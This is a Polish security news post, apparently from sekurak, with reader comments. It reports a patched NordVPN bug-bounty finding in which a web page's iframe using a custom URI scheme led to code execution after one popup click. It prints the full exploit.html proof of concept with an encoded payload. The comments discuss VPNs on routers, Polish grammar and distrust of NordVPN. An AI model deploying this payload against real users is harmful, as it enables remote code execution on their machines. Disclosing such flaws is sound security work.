Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
NordVPN – wykonanie kodu na komputerze ofiary. Wystarczyło wejść na zainfekowaną stronę i w popupie potwierdzić: „Open NordVPN”
Ciekawa podatność zgłoszona w ramach programu bug bounty. Badacz odkrył ze wystarczyło na jakiejś stronie zamieścić takiego iframe:
<!– exploit.html –> <!DOCTYPE html> <html lang=”en”> <head> <meta charset=”UTF-8″> <meta name=”viewport” content=”width=device-width, initial-scale=1.0″> <title>Exploit</title> </head> <body> <iframe src=”NordVPN.Notification:UAAAAB+LCAAAAAAABAANy0EKgCAQBdC7/LV0AHdC0K5WHWAQi4FpFB2hkO5eb/8Glpp7gQcc1mx8cCTjrEFJHuPYZjKC1y7iEOrZr6TW4Ae2knSv8tdIEqd0J7zvBy7afohQAAAA”></iframe> </body> </html>
Jeśli ofiara weszła na stronę, miała prezentowane dość niewinne okno z prośbą o potwierdzenie akcji 'Open NordVPN’. Jeśli ta opcja została wybrana następowało wykonanie ustalonego przez atakującego kodu:
Podatność została załatana, a badaczowi przyznano (naszym zdaniem) dość skromną nagrodę $500.
–ms
NordVPN można uruchomić sobie w kliencie na routerze, co ma swoje zalety jak i wady. Wtedy cały ruch leci przez VPN i nie potrzebujemy aplikacji.
A wady to jakie ?
Blokada przez wiele serwisów w dostępie do usługi, m. in. Netflix, Hbo
Nie musi iść cały, może wybrany…
Cześć! Bardzo cenię Wasze artykuły, ale jednej rzeczy nie zdzierżam! ;-(
Błędnej formy biernika.
Nie mówi się „zamieścić takiego iframe”, tylko „zamieścić taki iframe”. Bo tu musi być biernik, nie dopełniacz.
Zamieścić kogo? co? – np: taki iframe, naukowy artykuł, drobne ogłoszenie, artystyczny portret.
Żle: „zamieścić takiego iframe; „zamieścić naukowego artykuła”; „zamieścić drobnego ogłoszenia”; „zamieścić artystycznego portreta”.
„Zamieścić takiego iframe’a.”
Tę (błędną) formę zacytowałem z artykułu: „zamieścić takiego iframe”.
A jakie ma wady ?
Nordvpn wywodzi się z firmy, która miała darmowego vpna sprzedającego dane swoich użytkowników. Fajnie całe „śledztwo” opowiadał pewien Pan z konkurencyjnej stronie o bezpieczeństwie kilka miesięcy na webinarze. 500$ to żart za taką podatność i raczej nie pokazuje jak dbają o bezpieczeństwo swoich klientów :/
Śmiech w języku openvpn.